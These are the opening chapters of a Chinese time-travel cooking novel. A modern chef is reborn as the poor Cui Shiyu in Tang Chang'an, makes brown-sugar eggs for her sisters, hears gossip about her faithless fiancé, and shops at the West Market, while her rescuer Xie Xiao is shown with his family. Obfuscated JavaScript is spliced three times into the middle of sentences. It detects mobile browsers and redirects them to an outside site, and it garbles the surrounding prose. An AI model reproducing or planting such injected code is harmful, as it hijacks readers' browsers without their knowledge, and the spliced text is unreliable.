《长安小厨娘(美食)》 1. 红糖鸡蛋 “听说那崔娘子跳河了?” “可不是!都好几天了,你才知道?” 闲来无事,有好事的街坊邻里凑在一起闲话家常,很自然地谈论起最近的热点事件。 有人摇头感叹:“这崔家真是够惨的,前些年那贩鱼的崔大郎因着一根小鱼刺丢了性命,妻子田氏伤心过度,没过两年也跟着撒手人寰,家里就剩下三个女儿,如今长女也想不开投了河,真是……唉!” “得亏后来人救上来了。”有人边磕着瓜子边道,“好在与崔娘子定下娃娃亲的程家大郎为人仁厚宽和,想来日后能宽慰崔娘子一二。” 人群中沉默几秒,忽有人道:“说来也怪,那崔娘子如今已快到双十年岁,又与程大郎青梅竹马、情投意合,两家早该成亲了才是,怎的至今仍待字闺中?” 众人闻言,你看看我,我瞧瞧你,不说话了。 莫非……莫非崔娘子投河的原因与程大郎有关? 崔时钰不知自己又成了风暴中心,正躺在床上望着房梁发呆。 上辈子她是个知名厨师,结果熬夜给客户定制宴席菜谱时不幸猝死,再睁眼便来到了这异朝异世的大唐。 穿来已有几日,崔时钰仍有些不习惯。 就拿眼前的卧房来说,一张低矮木床几乎占据了整间屋子,用来糊窗的麻纸还有几处漏风的缝隙,外头的小风不时钻进来,带着丝丝凉意。 崔家的家庭条件比她想象中还要拮据。 长安城内的人集中居住在北部,也是皇宫和官府所在,南部各坊人口稀疏,居住着做普通生意的平头百姓。 崔家就在南部的最南端。 原身父亲在世时身材魁梧、身手敏捷,是长安城中的捕鱼好手,谁承想因为鱼刺扎手感染破伤风而丢了性命;母亲是名手艺精巧的绣娘,生意极好,可是后来因为流了太多眼泪,眼睛不大好了,没法继续做绣活维持生计。 小女儿年纪太小不必多说,大女儿和二女儿不善女红,并没有继承她的优秀技艺,绣出来的东西只能称为平平无奇。渐渐地,只有零星几个老顾客还愿意来崔母这里光顾生意。 除了当初给崔父治病花费太多银钱,这也是后来崔家拮据至此的原因。 崔时钰无声叹了口气,从床上爬起来。 早在从河里上来当天她就能够下地,然而两个妹妹说什么也不让,硬是让她好生卧床休息。 这辈子崔时钰有两个妹妹,大的名叫崔时锦,今年十四岁,性子沉稳安静;小的那个叫崔时宁,只有六岁,还是个懵懵懂懂的奶团子。 两个妹妹对她跳河一事很是心有余悸,这几日睡觉都要一左一右挨在身侧,生怕她跑了似的,还紧抓着她的手不放。 “阿姊,你不能再这样吓我们了。”昨日小妹语气里仍带着哭腔,二妹也抿唇憋泪点头。 崔时钰只好挨个摸头安慰,“好,阿姊不会再那样了。” 既占了这位崔娘子的身体,自然不能对人家的家事置之不理,更何况,如今这已经是她的家事了。 穿过与卧房同样破旧的小院,崔时钰循着记忆一路来到庖厨。 崔家庖厨的布局十分简单。 泥坯垒的灶台占去小半间屋子,灶台上架着两口铁锅,一口用来煮粥焖饭,另一口用来炒菜;下头是灶膛,旁边是半人高的水缸,缸沿搭着葫芦瓢和刷碗用的丝瓜瓤子。 墙上贴着去岁请来的灶王爷像,已经被油烟熏得发黄。 因着三文钱的胡饼足够姊妹三人吃上一天,原身为了省钱便甚少下厨,只偶尔炒个青菜改善生活,是以案板上面空荡荡的,除了前两天没吃完的几段葱姜,便只剩崔时钰特意让妹妹买来的鸡蛋和红糖。 红糖补血,鸡蛋养气,她如今身子虚,很适合吃碗红糖鸡蛋来补补。 虽然做菜环境由现代转为了古代,但崔时钰作为大厨的敏锐度仍在,迅速熟悉一下工具便进入了状态,取火石将一把干树叶点燃放入灶膛,边观察火势边逐步添入木柴,很快火就旺了。 唐朝的铁锅形状为圆心浅腹、薄壁、球面,导热极快,片刻里头的水便咕嘟咕嘟冒起泡来。 这时候唐人将红糖称作“沙糖”,价格不菲,当初姐妹几人狠了狠心才只舍得买下两小块,如今被崔时钰取来扔进锅里,红得发黑的糖块徐徐融化,把一锅清水都染成褐色。 崔时钰又快手切了些姜丝搁进去,这才敲开三枚鸡蛋滑入锅中。 鸡蛋在糖水里慢慢凝固,甜香混着蛋香顿时飘满庖厨。 崔时钰闻着甜香的味道出神,思绪从“猝死前也不知道把锅关了没有”转移到落水后发生的事。 她知道自己是被人救上来的。 河水冰冷刺骨如针,那人箍在她腰间的手却滚烫似火。 崔时钰心中并无绮思,只想着能报答那人的救命之恩,可惜对方好像并不打算给她这个机会,把她从河里捞上来便干脆利索地离开了。 这也许就是大唐版的做好事不留名吧。 也不知这位恩人是否姓雷。 崔时钰摇摇头,瞧见锅里的糖水蛋已经煮得差不多了,伸手从橱柜里摸出三只粗瓷碗——豁口的,没灰,倒是干净。 刚出锅的红糖鸡蛋盛在粗瓷碗里,热气蒸腾而起,白嫩的鸡蛋卧在中央,裹着滑嫩的蛋黄在糖水悠悠晃荡,飘出细小的蜜色糖沫。 崔时钰刚将三碗糖水蛋分别盛好,阿锦和阿宁便抱着柴火回来了。 两人刚一进门就不约而同抽了抽鼻子。 “这是什么味儿?甜香甜香的。” 将前铺后院转了个遍,姐妹二人终于将信将疑地走进庖厨,刚进门就被浓郁的甜香扑了满脸。 红糖的香甜中裹着一丝焦香,像是烤得微微发焦的糖块,隐约还能嗅到若有若无的姜辛,微微的辛辣与蛋香交织在一起,暖融融地扑在脸上,光是闻着就让人陶醉不已。 本来应该躺在床上休息的阿姊正站在灶间,捧着一只冒热气的碗笑望着她们:“阿锦阿宁回来啦,快来吃糖水蛋,刚出锅,还热乎着呢。” 崔时锦本想让阿姊再回床上多休息片刻,然而接过碗一瞧,便忘记方才要说什么话了。 粗瓷碗里,热气腾腾的褐红糖液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584194|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛着诱人光泽,圆润饱满的鸡蛋沉在碗底,周围还飘着几缕细碎姜丝。 她不由自主地咽了咽口水。 上次吃糖水蛋是什么时候来着?她已经不记得了。 “哇,是糖水蛋!”小妹阿宁可没她这么沉着,迫不及待地捧起碗就是一大口,整张小脸几乎要埋进碗里,边喝边感叹:“好甜呀!”喝完糖水又开始吃起鸡蛋。 嫩滑的鸡蛋裹着糖液,甜蜜温暖地从喉咙滑进胃里,她感觉自己整个身子都暖了。 怎么会这么好吃! 被妹妹夸张的吃相影响,崔时锦也捧起碗喝了一口。 糖汁滑进喉咙,甜里藏着微微的辣,甫一咬开鸡蛋,嫩生生的蛋清和蛋黄便裹着糖汁溢了满嘴。 这一吃一喝便停不下来,再抬头时,粗瓷碗里已经空空如也。 崔时钰这边也喝得差不多了,从碗中抬起头来,瞧见两双亮晶晶的眼齐刷刷朝她望过来,不由得笑了:“好喝不?以后阿姊多做给你们吃。” 当然,得在她赚到钱之后,毕竟这时候的红糖可不便宜。 这几日来她已经想好了今后的营生:她一身厨艺在身,想来在这长安城填饱肚子不算难事,况且前头正好有间铺子——崔父当年就是在这间铺子里卖鱼的,很适合改为一间小饭馆,不过得先装修大改一下,鱼腥味有点重……装修费又是一笔不小的开支! “阿钰,你在家吗?”一道略苍老的女声突然从门外传来,打断了她的思绪。 崔时钰眨眨眼,这声音她这几日已经听了数遍。 隔壁邻居王五娘是个五六十岁的妇人,自从知晓她那日落水之后,时不时便提着豆腐来探望她——没错,王五娘做的卖豆腐生意。 崔时钰边往门外走边道:“婶娘,我在家。” 刚一出门,便瞧见王五娘正拎着八块方方正正的豆腐块站在门外。 担心她累着,王五娘并不叫她拿,只是把豆腐放在桌上,招呼道:“阿钰,今日的豆腐,别忘了吃啊。” 崔时钰有些不好意思:“婶娘,您瞧,我现下已经好了……” 不等她说完王五娘便道:“好孩子,你那日可是遭了大罪了,在冷水里滚过一遭,如何轻易补得回来?可惜婶娘没什么好东西能给你,只能拿这些豆腐来给你补身子,你就收下吧!” 王五娘边说边把放在木桌上的豆腐往她面前推了推。 盛情难却,再加上自己确实需要,崔时钰没有推辞,轻声道了句“多谢婶娘”便接了过来。 豆腐似乎是刚点出来的,热乎乎的温度传递至掌心,暖得她心口微微发颤。 崔时钰扬起一个真心实意的笑容:“还没来得及告诉婶娘,昨个的豆腐极好吃,婶娘做豆腐的手艺越发好了。” 王五娘不语,只是心疼地瞧着她。 曾经桃花般粉嫩的脸颊此刻依然苍白如纸,几乎能看到皮下的青色血管,仿佛随时都会被风吹破。 不知道要吃多少豆腐才能补回来。 王五娘盯着她看了半晌,不知想起了什么,恨声骂道:“程大郎真不是个东西!” 2. 邻里相亲 “那程大郎也算是我从小看着长大的,小时候粉粉嫩嫩的一个奶娃子,谁知道长大之后竟是个良心被狗吃了的白眼狼!不过是考过了解试,就做上了飞黄腾达的美梦,竟然、竟然……” 王五娘说不下去了。 王五娘是个五十多岁的妇人,丈夫没得早,膝下只有一子,如今与妻子远在蜀地打工,留下一个不到六岁的女儿娇娇,住的地方离崔氏三姊妹只隔了一道院墙,按照本朝的家庭地址登记方式,两家都要写“长乐坊南门附近”,是不折不扣的近邻。 打崔娘子记事开始,家里便与这位王婶娘经常来往走动,今日我送你豆腐、明日你送我绣帕,关系亲近非常。 对方自然知晓崔娘子当初的定亲之事。 崔时钰知道她这句未尽之言要说什么。 程大郎,大名程同,是原身的青梅竹马,两人从小到大感情甚笃,双方父母喜闻乐见,顺理成章给两人定下娃娃亲。 从小到大,程同对崔娘子关怀备至、体贴入微,是她疲惫生活中一抹不可多得的亮色。 一切美好结束于程同考过解试后不久。 他不再温柔小意,对待崔娘子再没了从前那份耐心,总找借口躲着她,却又不肯干脆利落告诉崔娘子自己的真实想法。 ——要崔时钰来说,这就是妥妥的冷暴力。 而崔娘子或多或少也能猜到其中原因:他是过了科考的青年才俊,未来广阔天地大有可为,而自己带着两个妹妹,守着一个无人问津的铺子艰难讨生活,程大郎会嫌弃她也是人之常情。 只是这么多年的感情,崔娘子想听他亲口说出来,咬牙写了封信给程同,约他在幼时常一起玩耍的小河边相见。 程同如约而至。 就像崔娘子想象中那样,他虽然没有明说,但言语举止之间,的的确确是瞧不上她了。 这些年来,崔娘子经历了许多悲欢离合,早已麻木,面对青梅竹马的未婚夫退婚也能平静对待。 只是程同不应该说那句话。 他笑意吟吟地往崔娘子心窝捅了最深的一刀:“有朝一日,阿钰若遇得做屠豕杀鸡生意之人,也算门当户对,可当嫁了——再不济,去寻个大户人家当通房也是条出路。” 这句话成为压垮崔娘子的最后一根稻草,也成了她自寻短见跳河的直接原因。 回忆完崔娘子的短暂一生,崔时钰心头唯余叹息。 渣男啊渣男你害人不浅! 见她许久没有出声,王五娘觑着她的神色小心翼翼开口:“婶娘是不是说错话了?阿钰,你可千万别想这些伤心事了,好好养身体,我以后再也不提那贼王八了——刚才婶娘的话,你就当是放屁!” 阿钰是她从小看着长大的,可以说是除儿子孙女外最了解的小辈。 小娘子温柔贤惠,性子像水一样,说起话来熨帖得很,但也有缺点,那就是温柔得有些过火了。甚至可以说唯唯诺诺、逆来顺受。 刚才那番话,她虽然面上不显,但只怕又要往心里去了……唉,都怪她一时嘴快! “婶娘说得对。” 王五娘的思绪被崔时钰打断,诧异望去,只听她慢悠悠开口:“那人的确是个无耻之徒,与这样的人断了来往,日后不必为他生儿育女、相夫教子,是我赚了。婶娘,你说对不对?” 王五娘愣愣地瞧着她。 阿钰的反应……和想象中不太一样啊。 少女面色虽依旧苍白如纸,但方才说话时,那双原本总是带着几分怯意的眼睛竟透出了几分锐利的光芒。 王五娘有些惊讶,随即又很快释然。 她本就希望阿钰能坚强些,这番通透无比的话真真是说进了她的心坎里——看来,这落水一遭说不定还算因祸得福了。 “对对对,太对了!”王五娘拍了拍崔时钰的手,发自内心笑着说,“你能这样想婶娘就放心了,我还担心你会想不开呢……阿钰,你老实告诉我,你方才那些话都是真话,不是哄我高兴的吧?” 崔时钰哑然失笑,摇摇头:“我怎会说假话哄骗婶娘?刚才那些都是我的真心话。” 她的确是这样想的。 她是死过一次的人,好不容易捡回一条小命,有什么理由不珍惜? 她会在这异朝好好活下去,不光是为了崔娘子,更是为了她自己。 见她清水般的漆黑双瞳炯炯有神,王五娘彻底放下心来:“好孩子,你这样说我就放心了……这回是真的放心了!” 崔时钰朝她一笑。 王五娘是个大大咧咧的人,为人单纯又热情友善,有这样的邻居,她无疑很是幸运。 “那你先歇着,婶娘不叨扰你了,过会儿回屋再盖上被子好好睡一觉,别着凉,啊。”王五娘嘱咐崔时钰几句,得到她“一定会好好休息”的承诺便离开了。 刚出门便瞧见了阿锦和阿宁。 许是早早地失去亲人庇佑,崔家的三个女儿一个比一个懂事,这几日,她每每来时总能瞧见阿锦和阿宁在屋里照顾阿姊,知道她有话要对阿钰说便懂事地离开,在屋外等着,说什么也不进去。 王五娘看着她们露出慈爱的目光。 崔时锦托着下巴,还在回味方才那碗糖水蛋的滋味,冷不防瞥见王五娘高瘦的身影,连忙站起身来唤道:“婶娘!” 王五娘应了一声,摸了摸她的脑袋,“阿锦啊,凳子冰不冰屁股?现在还没到中和节,天冷得很,你快带着阿宁进屋暖和暖和。” 虽然屋里也没多暖和。 “我知道了,婶娘,我一会儿就带着阿宁进屋。”崔时锦沉默片刻,抬起头来,神色有些担忧,“婶娘,我阿姊她还好吗?” 突然去庖厨煮了碗糖水蛋,还真叫她有些不放心。 若是放在之前,王五娘尚且估摸不准这个问题的答案,但现在,她可以拍着胸脯保证:“放心吧,阿锦,你阿姊没事了!你快带着妹妹进屋去瞧瞧她吧,我先走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584195|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,娇娇现在还一个人在家呢。” 崔时锦听完若有所思,既然婶娘这样都这样说了……那阿姊就是真的没事了吧? 尽管如此,她仍有些放心不下。 “好,婶娘慢走,劳烦您跑这一趟了。”她回过神来,礼貌道。 崔时宁左瞧瞧二姊,右瞧瞧婶娘,也跟着奶声奶气喊了一声“婶娘慢走”。 “诶!” 阿钰想明白了,不会再被旧事困扰,两个妹妹礼貌懂事又可爱……屋里头也不知道煮了什么,甜香甜香的。 一切都在朝好的方向发展。 王五娘迈着小碎步,心满意足地离开了。 谁知还没走到家门口,她的好心情便消失得无影无踪。 原因无他,她碰见了住在隔壁的张六娘。 张六娘刚从自家胭脂铺子回来。 连着好几日生意不好,都没人来买她的胭脂。 自打那日崔家大娘跳了永安渠,铺子里的客人就跟去看热闹不回来了一样,真是烦死了! 她正不快,突然瞧见王五娘正从崔家出来,顿时来了兴致,眼珠滴溜一转便凑上前问道:“五娘,你可是刚从崔家出来?” 王五娘不愿与她多谈,一是娇娇还在家里等着,二是她实在不喜对方,含含糊糊应了一声,转头就要往家迈。 谁知下一秒张六娘突然开口道:“要我说,那崔家大娘根本不值得你对她如此掏心掏肺。” 王五娘停住步子。 张六娘这几日心里一直憋着股气,寻到一个出气筒便开始发作起来:“你瞧瞧她,明明爹娘都有门能养活自己的手艺,她作为家中长姊,身无长物不说,还心思脆弱,不知在哪儿受了点委屈便寻了短见,我若是程大郎那样有本事的人,我也……” 她那句没说完的“瞧不上她”在王五娘阴恻恻的目光下咽了回去。 这便是王五娘不喜对方的原因。 张六娘此人是典型的“气人有笑人无”,嫉妒心极强,虽然没什么害人的胆子,但嘴巴毒得很,一张嘴就能把人熏出二里地之外。 同为邻居,王五娘自然是更爱亲近崔家。 “未经他人苦,莫劝他人善。”王五娘沉声道,“六娘,你若是经历了崔家大娘这些年的事,恐怕早就寻一根粗麻绳吊了,哪里有机会在这儿说闲话?” 王五娘说完便进了院子,砰的一声关上了大门。 张六娘被飞起的尘土扬了一脸。 “呸呸呸!” 她自知自己方才那番话不算动听,一边呸着飞到嘴里的尘土,一边警惕地四下望了望,确定没人听到她方才说的闲话,这才悻悻地回了家。 崔时钰不知道刚才以她为中心发生了一场小型战争,正垂眸凝视着自己的手臂。 太细了,比大葱段粗不了多少。 这怎么能颠得动勺? 身体是革*命的本钱,她得想办法让身子快点强壮起来才是。 3. 高门望族 谢府。 谢宵沿着青石小径缓步而行。 两侧的垂柳在微风中轻轻摇曳,细长的柳条不时拂过他的肩头,他抬手拨开,指尖沾了些许微凉的露珠。 见状,一旁的书童墨竹马上开口:“二郎可需要斗笠或是纸伞?奴前去取。” “何必如此紧张。”谢宵伸手拦住他,漫不经心拨弄腰间玉佩上的流苏,“我倒觉得有这些小水珠作伴,一路上有意思得紧。” 他身形颀长,生得一副好相貌,剑眉斜飞入鬓,唇若涂朱,一双桃花眼似笑非笑,眼尾微微上挑,带着几分少年人特有的潇洒不羁。 谢宵今日穿一身月白色圆领窄袖袍,袍角绣着暗纹宝相花,随着他走路的动作若隐若现,腰间蹀躞带上悬挂着的羊脂玉佩雕工精细,正在阳光下泛着莹润的光泽。 这玉佩是他十五岁那年母亲所赠,说是能保平安。谢宵虽不信这些,但为着母亲这份心意,一直佩戴在身。 墨竹笑了笑,点头道:“二郎说得是。” “你性子安静沉稳,做事一丝不苟,青松却与恰恰你相反,爱玩爱闹,若不是他今日去了东市买桂花糕,遇见这片竹林雨,只怕比我还要高兴。” 谢宵若有所思,“说起来,你兄弟二人这迥然相异的性格,倒是有些像我与阿兄。” 墨竹被他说得快要滴汗,忙道:“二郎说笑了,二郎天资聪颖,大郎亦是人中龙凤,奴与青松不过是粗鄙之仆,能够在二郎身边伺候已是天大的福分,怎敢与大郎和二郎相提并论。” “就知道你会这么说。”谢宵不赞同地撇撇嘴。 阶级身份地位,原本就是他最不在意的东西。 他不再言语,伸手接住一片飘落的柳叶,指尖轻轻一弹,柳叶便打着旋儿落入了廊下的池塘中。 一路穿过垂花门,眼前豁然开朗。 假山叠翠,竹林掩映,几尾锦鲤在水间游弋嬉戏,一池碧水映着天光。 前方正室的门扉半掩,隐约传来茶盏轻碰的声响。 门口几个奴仆朝谢宵谢礼,后者摆摆手,整了整衣冠,抬步迈过门槛。 入目是一张紫檀木雕花屏风,旁边的案几上摆着青铜香炉,袅袅青烟升起,清冽的沉香盈满整间屋子,与屋外的竹香迥然相异,但同样清新好闻。 旁边多宝阁上陈列着各色八宝法器,□□、法螺、宝伞、白盖、莲花、宝瓶、金鱼、盘长,最显眼的是一只青瓷莲花盏,釉色莹润,光晕十足。 谢父乃四品忠武将军,时常受圣人赏赐,这套法器便是谢父最爱,自圣人恩赏后便一直摆在家中。 谢宵绕过这些象征着荣誉的宝器,转过来便见父亲端坐在正中的太师椅上,手中把玩着一枚白玉扳指,母亲坐在下首喝茶,兄长谢珏则站在窗前,望着院中的风景出神。 三个人各有所忙。 谢宵清咳一声:“阿爹,阿娘,阿兄,今日休沐,我回来了。” 说完行了个标准的拜礼,墨竹跟着他一同行礼。 礼毕,谢宵直起身来,阳光正好照在他的侧脸,勾勒出俊美的轮廓,那双桃花眼中闪过一丝狡黠,嘴角的笑意更深了几分:“十日不见,阿爹阿娘和阿兄可有想我?” 谢父哼了一声,十分不配合地说了句“没有”,谢珏淡淡道了声“不曾”,只有谢母放下茶壶,招手示意谢宵近前,眼中带着慈爱的笑意:“承安,快过来让阿娘看看,这些日子在书院可还习惯?” 谢宵依言走过去,边走边转了个圈,试图让母亲将自己看得更仔细些,笑道:“劳母亲挂怀,承安在广文馆一切都好。” “一切都好?”谢珏不知何时离开了窗前,踱步走到他身旁,“《五经正义》可都会背了?” “这是当然。”谢宵看着比自己大了十几岁的兄长,“不过阿兄,今日我好不容易休沐,你确定要说这些?” “这是当然。”谢珏冷酷无情。 “好了好了,伯瑾,承安好不容易回家一次,你就放过他吧。”谢母出来打圆场,把两人劝服后小声对谢宵说,“你嫂嫂今日出去游玩,不在你阿兄身边,所以他才有些不大高兴。” “哦?难怪如此,原来是害了相思病。”谢宵来了兴致,双臂抱胸走到谢珏身边,“阿兄,我阿嫂去哪儿了,怎么没跟你在一起啊?” 他自觉扳回一城,十分得意。 然而谢珏答道:“阿瑶和三娘结伴去曲江游玩了。” 于是谢宵便笑不出来了。 谢珏趁热打铁,见父亲母亲重新凑在一块吃茶玩扳指,暂时没留神他们这边,略略压低声音,不紧不慢开口道:“听闻你前段时间又救了一位女郎。” 谢宵正接过墨竹递来的茶水慢品,闻言差点被茶水呛到。 他没有问兄长是怎么知晓这件事的——谢珏乃长安城京兆尹,是穿紫袍、配金鱼袋的从三品实职官,手下有诸多得力助手,永安渠又是长安城内的大河,要想知道这条河何时发生了何事,对谢珏来说易如反掌。 “那女郎落水,我又正好路过,救人一命胜造七级浮屠,我总不能见死不救——而且,我当时扯了头冠,还蒙了面,并没有暴露身份。”谢宵有理有据道。 “这倒是。”谢珏淡淡开口,“周明也只查出了落水者身份,并不知救人者究竟是谁。” 谢宵做好事不愿留名是很有一番原因的。 这原因便与今日与嫂嫂一同结伴出游的郁三娘有关。 去岁暮春,他在朱雀大街遇见几个纨绔子弟围着一位以帷帽遮面的女郎调笑,言语不堪入耳。 那女郎似乎被吓得慌了神,惊慌失措地连连后退,见她如此,为首纨绔更是得意,伸手要去拉她的衣袖。 谢宵眉头一皱,快步上前,“光天化日之下,几位这是做什么?”声音清朗,却带着不容置疑的威严。 纨绔们回头,认出他的身份,自知惹不起,顿时讪讪地散了。 见风波已平,谢宵朝那位女郎微微颔首后便离开了,并未将这此事放在心上。 后来他才知道,那日他出手相助的女郎竟是阿嫂的三妹。 从那天起,这位郁三娘便频频出现在他面前,不是在茶楼偶遇,便是在书肆巧逢。 谢宵想起来就一阵头大。 同窗早已娶妻生子纳妾,他却像没长情丝那样,对那些风花雪月之事毫无兴趣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584196|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >友人杨明曾对此评价:“你做的事和你这张脸可不太相符。” 当时谢宵勾唇一笑,没有说话。 他知道自己想要什么。 他只愿遇一倾心之人,终一世与她相伴,白首到老。 就像阿爹和阿娘、兄长和嫂嫂那样。 如果遇不到心中所求的那个人,那他一人孤独终老也无妨。 当然,谢宵并不打算把自己这段“大逆不道”的言论告诉任何人。 他自己知道便好。 “你把那女郎救上来之后就走了?”谢珏抿了口茶问道。 “不完全是。”谢宵思索着当日的情形,“我隔着衣服搭了她的脉才走的。” 谢母曾是颇负盛名的医女,因着这份缘故,谢宵和兄长谢珏一样,都略通些岐黄之术,搭个脉自然不在话下。 “那女郎虽然落水,脉搏却清晰规律、适中有力,想来身体底子不错。我相信,此番过去,她一定能化险为夷,平安无事。” * 底子很好的崔时钰正有条不紊制定自己的健身计划。 她发现崔娘子虽然身材偏瘦,但身体十分健康,从刚化冻没几天的冰冷河水里捞上来,居然没隔几天就准时来了月事,并且一点都不疼。 崔时钰大为震撼。 忘记从哪里看过一个科普,说是身体过于亏虚或受了寒凉都会导致月经不调,她这次在冷水里滚了一遭,居然一点没受影响。 上辈子颠了一辈子勺的身体都没健康到这种程度,偶尔还痛经呢! 尽管身体还算健康,但崔时钰也没急功近利到月经期间就开始锻炼身体,她老老实实在床上躺了几天,没闲着,为自己制定了一份健身计划。 前世,崔时钰从十一岁开始进行系统的身体训练,最常做的是俯卧撑、深蹲和平板支撑。 对于厨师来说,这几项运动好处多多:俯卧撑可以训练上肢力量,有助于在烹饪中完成切菜、颠勺等动作;深蹲可增强大腿肌肉力量,为长时间站立烹饪提供支撑;平板支撑则能够让身体在烹饪过程中保持稳定性。 除此之外,为了在长时间的烹饪工作中保持良好的体能,她每天还会做半小时以上的慢跑、游泳等有氧运动。 心急吃不了热豆腐,一口气吃不成肌肉女,要让现在的她完成从前那种“先做几组俯卧撑,接着慢跑半小时,再完成几组深蹲”的循环训练,简直是天方夜谭。 而且说不定还会吓到阿锦和阿宁,让她们以为自家阿姊鬼上身了——虽说这句话从某种程度上来说的确没错。 是以崔时钰决定,等月事结束之后,先从慢跑开始,循序渐进地让身体强壮起来,为以后的颠勺做准备。 拟好健身计划,崔时钰翻身从床上爬起,换上窄袖短襦和一件洗得泛白的青色布裙,裹上布巾便出了门,准备去集市采买些吃食。 要想强身健体,饮食的重要程度不言而喻。不光为她,阿锦和阿宁也都还在长身体,三人都很有必要吃顿好的。 崔时钰思来想去,想到两样既能补充蛋白质,价格也相对没那么贵的食材:鱼和豆腐。 加在一起,豆腐鱼汤这不就有了嘛! 4. 集市之行 清晨,阳光在青石板铺出一片金黄,空气中弥漫着食物的香气,与各种香料和新鲜蔬果的清香混杂一起,光是闻着便觉十分热闹。 长安西市,向来是长安城最热闹的地方之一,素有“金市”之称,《长安志》更是载其“店铺林立,四方珍奇,皆所积集”。 街道两旁摊位林立,小贩们的吆喝声此起彼伏,仿佛永远没有停歇之时。 “刚捞上来的鲫鱼,又肥又鲜,炖吃熬汤都极好,保准位郎君娘子吃了还想吃!” 鱼摊摊主郭大郎扯着一把粗犷的嗓子,手里拎着一条还在挣扎的鲫鱼,水珠四溅,引得路过的人纷纷侧目。 郭大郎的鱼摊在西市已经营了二十余年,着实称得上“老字号”。他的鱼新鲜,卖价也公道,生意比那些不知名的小摊要好得多。 郭大郎也爱在西市做生意。 西市人多,来买鱼的自然也多,有好多次他的客人里面还出现了几个高鼻深目、胡须浓密的胡人,瞧着新鲜得很。 他也去东市贩过鱼,只不过东市的客人都是些达官显贵,没人瞧得上这几条下里巴人的鱼,郭大郎去了没几天便不爱去东市了,自此在西市安营扎寨。 “郭大郎,今天生意不错啊。”隔壁卖菜的刘大娘一边整理着摊子上的青菜,一边笑着搭话。 “就那样吧!”郭大郎笑眯眯回应,手上动作不停,熟练地将一条鲫鱼剖开清理内脏。 刘大娘没继续这个话题,话锋一转:“你听说了吗?前几天那个跳河的小娘子竟是长乐坊崔家的大女儿。”她压低声音,眼神里带着几丝八卦的兴奋。 郭大郎手里的刀顿了顿,眉头微微一皱,“崔家的大女儿跳河?这是怎么回事?” 他认识崔家人倒不是因为那些人人传唱的悲惨事迹,而是因为崔大郎。 西市虽大,但他与崔大郎同做贩鱼生意,怎会没听说过对方名字?只是关系那么好罢了。 他生意火爆,早年没早遭同行陷害,偷偷药死他养在河里的鱼虾、说他的鱼不新鲜、说吃了他的鱼坏肚子的……各种手段应有尽有。 这些下作的人当中并没有崔大郎的身影。 因着这点,郭大郎一直觉得,这崔大郎是个安分守己、踏踏实实做生意的人。 做生意,不怕对手优秀,就怕对手阴奸损坏,那真是比吃耗子屎还恶心。 崔家大女儿还小的时候他见过几次,印象中是个白净清丽、性子安静的小娘子。 至于对方长大之后,那便没怎么见过了。 “你还不知道啊?”刘大娘语调提高好几个度,仿佛郭大郎错过了什么惊天大新闻,“前几天的事了,那崔娘子不知怎么回事,突然间跳了河,幸好被人救上来了。啧啧,真是命大!” 听到“跳河”二字,郭大郎登时瞪大双眼,鱼都忘了拾掇,就那么愣愣地在手里举着,直到听到“被救上来”才松了口气,叹道:“那小娘子也是个苦命的,从小就没了爹娘,现在又闹出这种事。” “可不是!”刘大娘附和道,“那崔娘子长得标致,她那个青梅竹马的未婚夫也过了解试,前途大好啊!你说她怎么就……” “好了好了,别猜了。”郭大郎摆摆沾着鱼血的手,打断刘大娘的话,“人没事就行,人家的家里的事,咱们外人还是少掺和为好。” 刘大娘撇了撇嘴,显然八卦得有些意犹未尽,但见郭大郎不再接话,只好悻悻地转过头去,继续招呼自己的客人。 就在这时,不远处传来一阵喧哗声。 郭大郎抬头望去,瞧见一名打扮朴素的年轻女郎,手里拎着块豆腐,身边还跟着一个六七岁的小女孩,两人正沿着主路边走边看。 不必郭大郎仔细辨认,旁边的刘大娘已经激动得小声喊起来:“崔娘子居然逛集市来了!” 在其他人看来,崔时钰的脸色仍然有些苍白,表情却十分平静,仿佛根本不曾发生过前几日的跳河之事。 和她相比,她身边的小妹则活泼许多,一双葡萄珠似的眼睛好奇地四处张望,时不时扯扯姐姐袖子,指着某个摊位上的东西小声嘀咕。 “阿姊你看,那边有糖人!”崔时宁指着不远处的一个糖人摊子,眼睛里闪动着兴奋的光芒。 崔时钰微微一笑,轻轻揉了揉妹妹的头,“等会儿买完鱼阿姊再带你去买糖人,好不好?” 出门之前,她本想带着两个妹妹一同出来透风,阿宁自然是兴高采烈地答应下来,阿锦却没怎么犹豫地拒绝了。 “阿姊和阿妹去吧,我留在家里看家。” 被拒绝后,崔时钰仍不死心,努力诱惑二妹,“今日是天气晴朗,很适合出游”、“出去给你买好吃的”、“你都在家憋几天了”…… 然而崔时锦不为所动,坚持留在家里。 崔时钰觉得这孩子懂事得有些过分。 